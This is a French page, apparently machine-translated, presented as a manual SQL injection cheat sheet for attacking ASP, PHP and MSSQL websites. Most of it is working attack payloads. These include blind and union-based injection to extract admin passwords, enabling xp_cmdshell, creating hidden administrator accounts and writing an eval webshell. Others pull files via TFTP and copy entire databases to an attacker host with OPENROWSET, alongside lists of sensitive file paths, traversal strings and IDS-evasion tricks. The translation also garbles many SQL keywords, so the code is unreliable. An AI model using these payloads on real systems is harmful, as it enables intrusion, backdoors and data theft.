Requêtes MSSQL multi-bases de données (nourriture puante !) Sombre)
Extraire chaque goutte de MS SQL
Les références d’instructions SQL et les objets de relevé sont expliqués en détail
À propos des procédures stockées dans SQL Server
Créez un webshell avec une sauvegarde mssql
SQL_Injection applications avancées
Injection SQL cross-site (laokai)
Injection SQL étrange (AMANL)
Injection SQL avancée dans les applications SQL Server
Comment utiliser l’injection SQL pour parcourir des répertoires
Solution de passage des techniques d’injection SQL (Traducteur : demonalex)
Quelques attaques contre les bases de données SQL
Technique d’attaque par injection SQL (JSW)
SQL_Injection Applications avancées (APACHY)
Méthodes peu communes d’injection SQL (Guilin Veteran)
Sauvegarder un shell
Parlez de la structure de l’instruction d’injection php+mysql (Heyhehehehe·≯Super· Hei)
Injection SQL avancée avec MySQL(angel)
L’injection (My)SQL via PHP
Langage Oracle SQL
Encyclopédie d’injection manuelle SQL
Les prérequis nécessitent des outils : SQL Query Analyzer et SqlExec Sunx Version ============================================================================================== 1. Déterminer s’il existe un point d’injection ; et 1=1 et 1=2 2. Suppose que le nom du tableau n’est rien d’autre qu’administrateur administrateur utilisateur mot de passe, etc. : et 0<>(select count(*) from *) et 0<>(select count(*) depuis admin) — Déterminer si la table admin existe 3. Devinez le nombre de comptes Si vous rencontrez 0< retournez à la bonne page 1< retournez la page d’erreur indiquant que le nombre de comptes est 1 et 0<(select count(*) depuis admin) et 1<(select count(*) depuis admin) 4. Devinez le nom du champ Ajoutez le nom du champ auquel nous pensons entre parenthèses len( ). et 1=(select count(*) from admin où len(*)>0)– et 1=(sélectionner le compte(*) depuis l’admin où len(nom de champ utilisateur)>0) et 1=(sélectionner le compte(*) de l’admin où len(_blank>nom du champ mot de passe)>0) 5. Deviner la longueur de chaque champ Deviner la longueur est de transformer >0 jusqu’à ce que la bonne page soit retournée et 1=(select count(*) from admin où len(*)>0) et 1=(select count(*) depuis admin où erreur len(name)>6) et 1=(sélectionner le compte(*) depuis admin où len(name)>5) La longueur correcte est 6 et 1=(select count(*) from admin où len(name)=6) est correct et 1=(select count(*) depuis admin où len(password)>11) est correct et 1=(select count(*) depuis admin où la longueur de l’erreur len(password)>12) est 12 et 1=(select count(*) from admin où len(password)=12) est correct 6. Devinez les caractères et 1=(sélectionner le compte(*) depuis admin où left(name,1)=a) — Deviner le premier chiffre du compte de l’utilisateur et 1=(select count(*) depuis admin où left(name,2)=ab)—Devinez le deuxième chiffre du compte utilisateur Il suffit d’ajouter un caractère à la fois pour deviner, de deviner autant de chiffres que vous venez de deviner, et le numéro de compte sortira (1) Devinez le nom de la table
Phrases utilisées : et existe (sélectionner * dans le nom du tableau)
Par exemple: et existe (sélectionner * depuis admin)
Si la page fait un écho correct, cela signifie que le nom du tableau que nous avons deviné ici est correct, et si la page est incorrecte, cela signifie que le nom du tableau que nous avons écrit ici est incorrect
, puis changez le nom du tableau et continuez à deviner jusqu’à ce que vous deviniez.
En général, les noms de tables couramment utilisés incluent admin, gestion, user, ou « l’intégrer dans l’exécution de l’outil » (2) Devinez le champ
Phrases utilisées : et existe (sélectionner le nom du champ à partir du nom du tableau)
Par exemple: et existe (sélectionner le nom d’utilisateur de l’admin)
Ici, en supposant que la table admin soit celle que j’ai devinée correctement ci-dessus, je veux déterminer si le champ nom d’utilisateur existe, je dois utiliser cette phrase, si la page
Si l’écho de la face est correct, cela signifie que le nom du champ que nous avons deviné ici est correct, et si la page est incorrecte, cela signifie que le nom du champ que nous avons écrit ici est incorrect
, puis changez le nom du champ et continuez à deviner jusqu’à deviner.
En général, les noms de champs courants incluent nom d’utilisateur, mot de passe, utilisateur, passe, nom, pass, pwd, usr, psd, et d’autres champs (3) ordre par
Ordre par est d’obtenir la somme du nombre de champs sur cette page, en préparant la requête conjointe suivante (4) Union Select
1. Si vous supportez la requête conjointe, trouvez le bit d’affichage http://www.xxx.com/product_show.asp?id=1 et la sélection de l’union 1=2
1,2,3,4,5,6,7,8,9,10,11 Supposons que les bits d’affichage soient 5,6. Ensuite, il suffit de remplacer les noms de champs correspondant au nom d’utilisateur et au mot de passe de l’administrateur par la position du bit d’affichage ici
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 de l’admin a trouvé la connexion en arrière-plan 2. Si la requête conjointe n’est pas prise en charge Le nom d’utilisateur et le mot de passe de l’administrateur ne peuvent pas être obtenus sans requête conjointe - en utilisant un décodage mot à mot par Ascii Deux Utilisez l’ordre par pour juger le nombre de bits dans la table, et si cela ne fonctionne pas, utilisez l’union select pour les organiser un par un, ici on suppose 8 bits Trois Utilisez une requête conjointe pour déterminer les bits d’affichage Quatre Utilisez le bit d’affichage pour trouver le nom de la base de données, la version 5.0 ou supérieure peut être injectée
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,utilisateur(),0x5c, version(),8 Cinq Avec le nom de la base de données, vous pouvez commencer à obtenir le schéma du nom de la table = suivi de la valeur HEX du nom de la base de données, et deviner le nom de la table
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +de+information_schema.colonnes+où+ table_schema=0x666C6965725F6462617365 Six Le nom de la table analysée détermine la valeur HEX du nom de la table de l’administrateur=nom de table, et devine les champs de la table http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+ from+information_schema.colonnes+où+table_name=0x7075625F7765626D6173746572 Sept Après avoir obtenu les champs dans la table d’administration, voyons le contenu des champs http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+nom d’utilisateur, 0x5f,userpwd),8+de+pub_webmaster Huit L’outil scanne l’arrière-plan : Connectez-vous pour télécharger le cheval de Troie après l’avoir trouvé, et si vous ne trouvez pas le fichier robots.txt, vous pouvez y accéder Neuf Si vous ne trouvez pas l’arrière-plan, le mot de passe de l’administrateur MYSQL sera révélé http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(utilisateur,mot de passe),8+de+mysql.utilisateur Dix Accéder aléatoirement à un chemin, et le retour d’information est la page par défaut 404 d’IIS6, indiquant que le serveur web est : Windows+IIS6+php+environnement MySql c :\\Windows\\system32\\inetsrv\\\MetaBase.xml Ce chemin peut obtenir les informations de configuration du site web. Énoncés constructifs http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Onze Analysez le code et trouvez l’adresse en arrière-plan À la première étape, nous devons obtenir la longueur des champs dans la table Énoncés utilisés : et (sélectionnez le top 1 de la lentille (nom du champ) dans le nom du tableau)>0 Comme quoi: et (sélectionnez le premier 1 lent (admin_name) dans admin)>0 La page est affichée normalement, la longueur du champ admin_name est supérieure à 0, et je vais soumettre :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 La page affiche une erreur indiquant que le champ est entre 0 et 10, et la longueur est 5 selon la dichotomie En utilisant la même méthode pour déterminer la longueur du champ du mot de passe de l’administrateur, j’obtiens une longueur de 16 Étape 2 Passons maintenant à la deuxième étape : prenez un certain caractère dans le champ, et obtenons le code ASCII du caractère, qui est utilisé
Déclaration : et (sélectionnez top 1 asc(milieu (nom du terrain, N,1)) dans le nom du table)>0 Laissez-moi examiner cette phrase séparément, d’abord, la fonction mid la plus interne (nom d’utilisateur, 1,1), qui est le premier caractère du champ admin_name, N
indique que les premiers caractères doivent être interceptés, Ensuite, la fonction asc() extérieure, qui convertit les caractères interceptés par la fonction intermédiaire en code ASCII, le top 1 le plus externe, représente le champ de retour du premier
Un record, donc, Le « >0 » à la fin sert à comparer le code ASCII converti avec ce chiffre, et finalement obtenir l’interception en changeant constamment la dernière valeur
Obtenez les spécificités de ce personnage Code ASCII Soumission :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 La page est affichée normalement, indiquant que le code ASCII de ce caractère est supérieur à 30. Soumission :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 La page est affichée normalement, indiquant que le code ASCII de ce caractère est supérieur à 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Le code ASCII que j’ai obtenu pour ce personnage est 97 Comparez le tableau ASCII : On peut conclure que le premier caractère est « a ». Ensuite, je jugerai le code ASCII du second caractère.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 La page est affichée normalement, indiquant que le code ASCII du caractère est supérieur à 90, et que la dernière valeur est toujours modifiée La même méthode a donné le mot de passe de l’administrateur, et le résultat que j’ai obtenu était :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 et 1=(sélectionner le top 1 count(*) depuis Admin où Asc(mid(pass,5,1))=51) – Cette requête peut deviner l’utilisateur chinois et _blank> mot de passe. Il suffit de remplacer les chiffres suivants par le code ASSIC chinois
Convertir en caractères.
groupe par users.id ayant 1=1–www.myhack58.com Groupe par users.id, user.username, users.password, users.privs ayant 1=1– ; insérer dans les utilisateurs des valeurs ( 666, attaquant, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où
TABLE_blank>_NAME=logintable Là où COLUMN_blank>_NAME NON IN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN
(login_blank>_id login_blank>_name)- UNION Sélectionner le Top 1 login_blank>_name DEPUIS logintable- UNION Sélectionner le mot de passe TOP 1 DEPUIS logintable où login_blank>_name=Rahul– Regardez le patch joué par le serveur _blank> = mauvais patch SP4 filet de sécurité à barre noire et 1=(sélectionner @@VERSION)–
Regardez les permissions du compte de connexion _blank> base de données, et il revient normal, prouvant qu’il s’agit de l’autorisation sysadmin du rôle _blank> serveur. et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(sysadmin))–
Déterminez le compte de base de données _blank> connecté. (Utiliser le compte SA pour connecter et retourner normal = prouver que le compte connecté est SA) et sa=(Sélectionner System_blank>_user)– et user_blank>_name()=dbo– et 0<>(select user_blank>_name()–
Voyez si xp_blank>_cmdshell supprimez et 1=(Sélectionner le compte(*) DE master.dbo.sysobjects Où xtype = X ET nom = xp_blank>_cmdshell)
–
xp_blank>_cmdshell est supprimé, restauré et prend en charge la récupération absolue du chemin ; EXÉCUTIF master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXÉCUTIF master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c :\inetpub\wwwroot\xplog70.dll– ============================== autorisation de base de données est exposée au code de chemin physique du site web
========================================================================== 1. table de déplacement [jm_tmp] ; Create Table [jm_tmp](Value Navrchar(4000) null,data nvarchar(4000)
null) -- Créer une table
2、 supprimer [jm_tmp] ; insérer [jm_tmp] exécutif master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Insérez le répertoire du site dans le champ tableau
3、and (sélectionner le top 1 cast([data] en tant que nvarchar(4000) char(124) dans l’ordre [jm_tmp] par [data]
desc)=0 '//Champ exposé
4. Tableau de débarquement [jm_tmp] -- Supprime ce tableau. pour que le commandement obtienne la coque
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d : Autres voies de la station ======================load_file() Informations sensibles couramment utilisées =========================================== 1、 remplacer(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) Les deux ci-dessus servent à consulter un fichier PHP qui affiche entièrement le code. Il arrive que certains caractères ne soient pas remplacés, comme « < » au lieu de « space » qui revient
Page web. Et le code ne peut pas être consulté.
3. load_file(char(47)) peut lister le répertoire racine des systèmes FreeBSD et Sunos
4. Consultez le fichier de configuration de l’hôte virtuel Linux APACHE dans /etc/httpd/conf/httpd.conf ou /usr/local/apche/conf/httpd.conf
5. C :\Program Files\Apache Group\Apache\conf\httpd.conf ou C :\apache\conf\httpd.conf pour voir WINDOWS
Fichier Apache système
6. c :/Resin-3.0.14/conf/resin.conf Consultez les informations de configuration des fichiers résine du site développé par jsp.
7. c :/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf pour consulter l’hôte virtuel JSP configuré sur le système Linux
8、d :\APACHE\Apache2\conf\httpd.conf
9、C :\Program Files\mysql\my.ini
10、.. /thèmes/darkblue_orange/layout.inc.php phpmyadmin explose path
11. C :\Windows\system32\inetsrv\MetaBase.xml Consultez le fichier de configuration de l’hôte virtuel d’IIS
12. /usr/local/resin-3.0.22/conf/resin.conf pour consulter le fichier de configuration RESIN pour la version 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Comme ci-dessus
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Hébergeur virtuel APASHE
15. /etc/sysconfig/iptables dépend de la politique du pare-feu
16. /usr/local/app/php5 avec php.ini paramètres équivalents à PHP
17. fichier de configuration MYSQL de /etc/my.cnf
18. /etc/version version du Red Hat à la sortie du système Redhat
19 、C :\mysql\data\mysql\user. MYD existe dans le mot de passe utilisateur du système MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pour voir l’IP.
21. /usr/local/app/php5 b/php.ini //paramètres liés à PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // paramètres du site web virtuel
23、c :\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c :\windows\my.ini
25. /etc/issue affiche les informations de distribution du noyau Linux
26、/etc/ftpuser
27. Vérifiez le fichier journal d’opération sous LINUX user.bash_history ou .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/bûches/error.log .. /apache/bûches/access.log .. /.. /apache/bûches/error.log .. /.. /apache/bûches/access.log .. /.. /.. /apache/bûches/error.log .. /.. /.. /apache/bûches/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/bûches/error.log .. /apache/bûches/access.log .. /.. /apache/bûches/error.log .. /.. /apache/bûches/access.log .. /.. /.. /apache/bûches/error.log .. /.. /.. /apache/bûches/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Faites vous-même une expérience PING inversée ; utiliser maître ; déclarer @s int ; exec sp_blank>_oacreate « wscrip{filter}t.shell », @s out ; Exécutif
sp_blank>_oamethod @s,"run »,NULL,"cmd.exe /c ping 192.168.0.1 » ; –
Ajouter un compte ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C :\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Créer un répertoire virtuel E-disk : ; déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c :\inetpub\wwwroot\mkwebdir.vbs -w « default website » -v « e »,"e :\"–
Attributs d’accès : (avec écriture sur un webshell) déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c :\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Astuce spéciale _blank> pour burster la bibliothèque : :%5c=\ ou modifier %5 avec / et \ pour valider et 0<>(sélectionner les chemins top 1 dans la nouvelle table)–
Obtenez le nom de la base de données (de 1 à 5 sont les identifiants du système, et vous pouvez les juger au-dessus de 6) et 1=(sélectionner le nom de master.dbo.sysdatabases où dbid=7)– et 0<>(select count(*) from master.dbo.sysdatabases où name>1 et dbid=6) Soumettre dbid à tour de rôle = 7,8,9.... Obtenez plus de noms _blank> bases de données
et 0<>(sélectionnez le nom top 1 depuis bbs.dbo.sysobjects où xtype=U) apparaissent dans une table en supposant admin et 0<>(sélectionnez le nom du top 1 depuis bbs.dbo.sysobjects où xtype=vous et nom non dans (Admin)).
D’autres tables. et 0<>(select count(*) from bbs.dbo.sysobjects où xtype=you et name=admin et uid>(str(id))) La valeur numérique de l’UID est supposée être 18779569 uid=id et 0<>(sélectionner le nom du top 1 depuis bbs.dbo.syscolumns où id=18779569) obtient un champ admin, false
Réglé sur user_blank>_id et 0<>(sélectionnez le nom top 1 de bbs.dbo.syscolumns où id=18779569 et name non inclus (id,...)) pour exposer d’autres domaines et 0<(sélectionnez user_blank>_id depuis BBS.dbo.admin où username>1) pour obtenir le nom d’utilisateur En retour, vous pouvez obtenir _blank> mot de passe。。。。。 Supposons qu’il existe des champs comme user_blank>_id nom d’utilisateur, mot de passe, etc
et 0<>(select count(*) from master.dbo.sysdatabases où name>1 et dbid=6) et 0<>(sélectionner le nom du top 1 à partir de bbs.dbo.sysobjects où xtype=U) pour obtenir le nom de la table et 0<>(sélectionnez le nom top 1 de bbs.dbo.sysobjects où xtype=vous et nom non in(Adresse)) et 0<>(select count(*) from bbs.dbo.sysobjects où xtype=you et name=admin et uid>(str(id)))
Déterminer la valeur de l’id et 0<>(sélectionner le nom top 1 de BBS.dbo.syscolumns où id=773577794) tous les champs
?id=-1 sélection union 1,2,3,4,5,6,7,8,9,10,11,12,13,* depuis admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 depuis admin (union,access est aussi facile à utiliser)
Obtenez le chemin WEB ; Créer une table [DBO]. [échange] ([swappass][char](255)) ; – et (sélectionner le top 1 swappass de swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Déclare @test varchar(20) exec
maître... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÈME
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insérer dans les valeurs de chemins(chemin) (@test)– ; utiliser KU1 ; – ; Create Table CMD (image STR) ; – Créer un cmd de table du type d’image 1. La façon de supprimer le processus d’extension xp_cmdshell est d’utiliser l’instruction suivante :
if existe (sélectionnez * dans dbo.sysobjects où id=object_id(N'[dbo].[ xpcmdshell]') et
OBJECTPROPERTY(id,N’IsExtendedProc')=1) exécutif sp_dropextendedproc N'[dbo]. [xp_cmdshell] »
2. La façon d’ajouter xp_cmdshell processus d’extension est d’utiliser l’instruction suivante :
(1) Analyseur de requêtes SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) D’abord, remplir les pourcentages dans l’option Format de SqlExec Sunx Version et saisir dans l’option CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Retirer
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Il existe xp_blank>_cmdshell processus de test : ; Maître exécutif... xp_blank>_cmdshell dire ; exécutif master.dbo.sp_blank>_addlogin jiaoniang$ ; – Ajouter des comptes SQL ; exécutif master.dbo.sp_blank>_password null, jiaoniang$, 1866574 ; – ; exécutif master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin ; – ; exécutif master.dbo.xp_blank>_cmdshell utilisateur net jiaoniang$ 1866574 /workstations :* /times :all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exécutif master.dbo.xp_blank>_cmdshell NET localgroup administrators jiaoniang$ /add ; – Maître exécutif... xp_blank>_servicecontrol début, planifiez le début _blank> service Maître exécutif... xp_blank>_servicecontrol début, serveur ; DÉCLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C :\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C :\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Maître exécutif... xp_blank>_cmdshell tftp - i youip get file.exe – Téléverser des fichiers en utilisant TFTP
; déclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c :\ ; Déclare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c :\ ; déclarer @a ; ensemble @a=db_blank>_name() ; sauvegarde de la base de données @a sur disque = votre IP Votre répertoire partagé bak.dat Si c’est restreint, oui. sélectionner * depuis OpenRowSet(_blank>sqloledb,serveur ; SA ; ,sélectionne OK ! Exécutif
master.dbo.sp_blank>_addlogin hax)
Structure de requête : Sélectionner * DE nouvelles Où id=... ET sujet=... ET ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1)
et userpass <> sélectionner 123 ; – ; utiliser maître ; – :a ou nom comme fff % ; – Affiche un utilisateur nommé ffff. et 1<>(select count(email) depuis [utilisateur]) ; – ; mise à jour [users] définir email=(sélectionner le nom top 1 dans sysobjects où xtype=vous et status>0) où
nom=ffff ; – ; mise à jour [utilisateurs] définir email=(sélectionner l’identifiant top 1 dans sysobjects où xtype=you et name=ad) où
nom=ffff ; – ; mise à jour [utilisateurs] définir email=(sélectionner le nom top 1 parmi sysobjects où xtype=vous et id>581577110)
où name=ffff ; – ; mise à jour [utilisateurs] définir email=(sélectionner top 1 count(id) à partir du mot de passe) où nom=ffff ; – ; mise à jour [utilisateurs] définir email=(sélectionner le premier 1 pwd à partir du mot de passe où id=2) où nom=ffff ; – ; mise à jour [utilisateurs] définir email=(sélectionner le nom principal 1 du mot de passe où id=2) où nom=ffff ; – La déclaration ci-dessus est d’obtenir la première table utilisateur dans la base de données _blank> et de mettre le nom de la table dans le champ email de l’utilisateur ffff. En consultant le profil utilisateur de ffff, vous pouvez obtenir le premier tableau appelé AD Ensuite, obtenez l’ID de cette table selon le nom de la table et la publicité pour obtenir le nom de la deuxième table
insérer dans les valeurs utilisateur( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– insérer dans les valeurs utilisateurs (667,123,123,0xffff)– insérer dans les utilisateurs les valeurs (123, admin–, mot de passe, 0xffff)– ; et utilisateur>0 ; et (select count(*) from sysobjects)>0 ; et (select count(*) from mysysobjects)>0 // pour la base de données access_blank>
Énumérer le nom de la table de données ; mettre à jour aaa set aaa=(sélectionner le nom top 1 parmi sysobjects où xtype=you et status>0) ; – C’est là que le premier nom de tableau est mis à jour pour le domaine AAA. Lisez le premier tableau, et le second tableau peut se lire ainsi (ajoutez et nomme après la condition<> le nom du tableau que vous venez d’obtenir). ; mettre à jour aaa set aaa=(sélectionner le nom top 1 à partir des sysobjects où xtype=you et status>0 et
nom<>vote) ; – Alors id=1552 et existe (sélectionner * depuis aaa où aaa>5) Lisez le deuxième tableau et lisez-le un par un jusqu’à ce qu’il n’y en ait plus. Le champ de lecture ressemble à ceci : ; mise à jour aaa set aaa=(sélectionner top 1 col_blank>_name(object_blank>_id(nom du tableau), 1)) ; – Alors id=152 et exists (select * from aaa où aaa>5) reçoit une erreur et obtient le nom du champ ; mettre à jour aaa set aaa=(sélectionner top 1 col_blank>_name(object_blank>_id(nom du table),2)) ; – Alors id=152 et exists (select * from aaa où aaa>5) reçoit une erreur et obtient le nom du champ
[Obtenir le nom de la table de données] [Mettez à jour la valeur du champ avec le nom de la table, puis lisez la valeur de ce champ pour obtenir le nom de la table] mettre à jour table name set=(sélectionner le nom top 1 à partir des sysobjects où xtype=you et status>0 [ et nom<>
Le nom de la table que vous obtenez : Trouver un plus un]) [où condition] sélectionnez le nom top 1 à partir des sysobjects où xtype=vous et
Statut>0 et nom non inclus (table1,table2,...) Créer un compte administrateur de base de données et un compte administrateur système _blank> _blank> injection de vulnérabilités via SQLSERVER [Le compte courant doit être le groupe SYSADMIN]
[Obtenir le nom du champ Datatable] [Mettez à jour la valeur du champ avec le nom du champ, puis lisez la valeur de ce champ pour obtenir le nom du champ] Mettre à jour le nom de la table Champ=(sélectionner Top 1 col_blank>_name(object_blank>_id (nom de la table de données à requête), colonne de champ
Par exemple : 1) [où la condition]
Contourner la détection IDS [En utilisant des variables] ; déclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c :\ ; Déclare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c :\
1. Ouvrir la base de données de _blank> distante Syntaxe de base select * from OPENROWSET(SQLOLEDB, server=nameserver ; UID=SA ; pwd=123, sélectionner * dans le tableau1 ) Paramètres : (1) Nom du fournisseur OLEDB 2. Le paramètre de la chaîne de connexion peut être n’importe quel port à connecter, comme select * from OPENROWSET(SQLOLEDB, uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,
sélectionner * dans le tableau 3. Copier l’intégralité de la base de données _blank> de l’hôte cible et insérer toutes les tables distantes dans la table locale.
Syntaxe de base : insérer dans OPENROWSET(SQLOLEDB, server=nomserveur ; UID=SA ; pwd=123, sélectionner * dans le table1) sélectionner
* extrait du tableau 2 Cette instruction ligne copie toutes les données de la table table2 sur l’hôte cible vers la table table1 dans la base de données _blank> distante. Réparations appropriées dans une application pratique
Changez l’adresse IP et le port de la chaîne de connexion pour qu’ils pointent là où vous en avez besoin, par exemple : insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* du tableau1) sélectionner * du tableau2 insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* de _blank>_sysdatabases) select * from master.dbo.sysdatabases insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* de _blank>_sysobjects) select * depuis user_blank>_database.dbo.sysobjects insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* de _blank>_syscolumns) select * depuis user_blank>_database.dbo.syscolumns Répliquer _blank> base de données : insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* à partir du tableau 1) sélectionner * depuis la base de données... Table1 insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select
* à partir du tableau2) sélectionner * depuis la base de données... Tableau2
